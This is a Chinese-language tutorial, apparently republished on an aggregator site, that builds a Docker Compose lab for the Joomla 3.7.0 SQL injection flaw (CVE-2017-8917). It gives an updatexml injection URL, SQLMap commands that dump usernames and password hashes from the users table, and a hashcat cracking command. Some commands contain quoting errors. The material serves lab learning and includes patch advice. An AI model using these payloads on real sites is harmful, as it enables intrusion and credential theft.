当前位置: 首页 > news >正文

Kali Linux下用Docker Compose一键搭建Joomla 3.7.0漏洞靶场(附完整SQLMap利用流程)

Kali Linux下用Docker Compose自动化搭建Joomla 3.7.0漏洞靶场与SQL注入实战

在网络安全学习过程中,搭建一个可重复使用的漏洞环境是每个渗透测试初学者的必经之路。传统手动配置方式不仅耗时耗力,还容易因环境差异导致复现失败。本文将带你使用Docker Compose在Kali Linux中一键部署Joomla 3.7.0漏洞环境(CVE-2017-8917),并通过SQLMap完成从漏洞检测到数据提取的全流程实战。

1. 环境准备与Docker Compose配置

1.1 系统基础环境检查

首先确保你的Kali Linux已安装最新版Docker和Docker Compose:

# 检查Docker版本 docker --version # 检查Docker Compose版本 docker-compose --version

若未安装,可通过以下命令快速安装:

sudo apt update && sudo apt install -y docker.io docker-compose

提示:建议使用Kali Linux 2023.x或更新版本,避免兼容性问题

1.2 编写docker-compose.yml

在项目目录(如~/vuln_labs/joomla)创建docker-compose.yml文件:

version: '3.8' services: joomla_vuln: image: vulhub/joomla:3.7.0 ports: - "8080:80" environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=joomla_db depends_on: - db db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=joomla_db volumes: - mysql_data:/var/lib/mysql volumes: mysql_data:

关键配置说明:

  • 端口映射:将容器80端口映射到主机8080端口
  • 数据库配置:使用MySQL 5.7作为后端数据库
  • 数据持久化:通过volume保存数据库数据

2. 靶场部署与初始化

2.1 启动漏洞环境

执行以下命令启动服务:

# 进入项目目录 cd ~/vuln_labs/joomla # 后台启动服务 docker-compose up -d

验证服务状态:

docker-compose ps

正常输出应显示两个容器(joomla_vuln和db)状态为"Up"

2.2 访问并初始化Joomla

在浏览器访问http://<your_kali_ip>:8080,按以下步骤初始化:

  1. 选择语言(建议English)
  2. 数据库配置:
    • Database Type: MySQLi
    • Hostname: db
    • Username: root
    • Password: root
    • Database Name: joomla_db
  3. 设置管理员账号(建议使用弱密码如admin/admin123方便测试)

注意:在生产环境中绝对不要使用弱密码,此处仅用于教学目的

3. 漏洞原理分析(CVE-2017-8917)

3.1 漏洞成因

Joomla 3.7.0版本在com_fields组件中存在未过滤的SQL查询参数,攻击者可通过特制请求实现:

  • 注入点option=com_fields&view=fields&layout=modal&list[fullordering]
  • 漏洞类型:二次注入+报错注入
  • 影响范围:Joomla 3.7.0及之前版本

3.2 漏洞验证POC

直接在浏览器地址栏尝试以下URL:

http://<your_kali_ip>:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

若页面返回包含数据库用户名的XML解析错误,则证明漏洞存在。

4. SQLMap自动化利用实战

4.1 基础扫描与确认

使用SQLMap进行初步检测:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --risk=3 --level=5

关键参数说明:

  • -p:指定测试参数
  • --risk:提高测试风险等级
  • --level:提高测试深度

4.2 数据库信息提取

获取当前数据库信息:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --current-db

典型输出:

[12:34:56] [INFO] the back-end DBMS is MySQL [12:34:57] [INFO] fetching current database current database: 'joomla_db'

4.3 表结构枚举

列出数据库中的所有表:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db --tables

重点关注#__users表(Joomla实际存储时会添加前缀)

4.4 用户凭证提取

获取用户表中的敏感信息:

sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db -T "#__users" -C "username,password" --dump

输出示例:

+----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | admin | $2y$10$9ZcB9J5U6w9eKoCUkBQKW.7Xlb0HXo6Q1qL19VzRjJKl7bJQYqXu | +----------+--------------------------------------------------------------+

4.5 密码破解建议

Joomla使用bcrypt哈希存储密码,可使用以下工具破解:

  • John the Ripper
  • Hashcat(模式3200)

示例Hashcat命令:

hashcat -m 3200 hash.txt rockyou.txt

5. 环境管理与最佳实践

5.1 日常维护命令

# 停止环境 docker-compose down # 启动环境 docker-compose up -d # 彻底清除(包括数据卷) docker-compose down -v

5.2 安全注意事项

  1. 网络隔离:建议在内部网络或VPN中运行漏洞环境
  2. 日志监控:定期检查Docker日志
    docker-compose logs
  3. 资源限制:为容器设置CPU和内存限制
    # 在docker-compose.yml中添加 deploy: resources: limits: cpus: '1' memory: 512M

6. 漏洞修复方案

虽然本文聚焦漏洞利用,但作为负责任的测试者应该了解修复方案:

  1. 官方补丁:升级到Joomla 3.7.1或更高版本
  2. 临时缓解
    • 禁用com_fields组件
    • 添加输入过滤规则
  3. WAF规则:添加针对SQL注入的防护规则

7. 扩展学习资源

推荐进一步学习的漏洞库:

  • Vulhub - 开源漏洞环境集合
  • VulnApps - 专门针对Web应用的漏洞环境
  • OWASP Juice Shop - 综合性Web安全学习平台

对于想深入理解SQL注入原理的读者,建议研究:

  • MySQL注入技巧
  • 报错注入原理
  • 时间盲注与布尔盲注
  • ORM注入防御方案
http://www.jsqmd.com/news/731503/

相关文章:

  • TMS320C6678多核DSP实战:从SYS/BIOS线程到EDMA3传输,一个雷达信号处理项目的完整配置流程
  • 告别激活烦恼:3分钟学会用KMS_VL_ALL_AIO智能激活Windows和Office
  • 对比使用 Taotoken 前后在 API 密钥管理与审计日志方面的效率提升
  • 京东抢购助手实战手册:5步高效配置与3大智能抢购技巧
  • 深入理解RK3399启动流程:手把手教你用TPL/SPL方式构建自定义uboot镜像
  • 3分钟免费转换B站缓存视频:m4s转MP4终极指南
  • 罗兰艺境GEO技术架构深度解析:通用分层、DSS权威准则与企业级工程实践 - 罗兰艺境GEO
  • 20万字AI专著写作指南:AI工具助力,轻松完成专著撰写!
  • XXMI启动器:一站式二次元游戏模组管理平台终极指南
  • 告别安卓广告:给AM40电视盒子刷入Firefly Linux 5.10内核,打造家庭轻量服务器
  • iOS微信抢红包插件:告别手动抢红包的智能解决方案
  • 别再问为什么了!手机4G/5G网络下,你的‘公网IP’Ping不通的底层真相(附NAT图解)
  • 从社交推荐到风控:社区检测算法在真实业务场景中的落地指南
  • 开发者在多模型间进行A B测试时Taotoken提供的便利
  • 手把手教你复现SonarQube未授权访问漏洞(CVE-2020-27986),附Python检测脚本
  • 如何解决游戏按键冲突?Hitboxer SOCD工具实战指南
  • AI专著生成大揭秘:实用AI工具推荐,快速产出20万字专业专著!
  • XGP存档提取完整指南:3分钟实现游戏进度跨平台迁移
  • 告别代码焦虑!HiOmics零代码平台,一键解锁单细胞转录组全流程分析
  • 如何快速搭建个人游戏串流服务器:Sunshine完整实战指南
  • 3步让老旧电视重生:MyTV-Android原生电视直播实战指南
  • 2026年亲测必备:5个免费高效技巧,3分钟降低AI率,论文降AI至10% - 降AI实验室
  • 3分钟零基础搭建微信智能助手:WechatBot终极免费方案
  • 深入理解Linux FrameBuffer:从`fb_var_screeninfo`的字段看屏幕时序与色彩格式
  • Degrees of Lewdity中文汉化终极指南:从零开始轻松畅玩中文版
  • Laravel Sanctum × AI身份联邦认证(2025新范式):实现用户意图→AI操作权限→模型输出脱敏的端到端零信任链
  • 新墨西哥州要求整改,Meta 或撤 Facebook、Instagram 和 WhatsApp
  • 3步搞定Linux笔记本风扇控制:NBFC-Linux终极指南
  • 手把手教你免费获取12.5米精度全球DEM数据(附SRTM数据下载与ArcGIS加载教程)
  • 别再让程序‘跑飞’了!手把手教你用STM32的IWDG和WWDG看门狗(附CubeMX配置)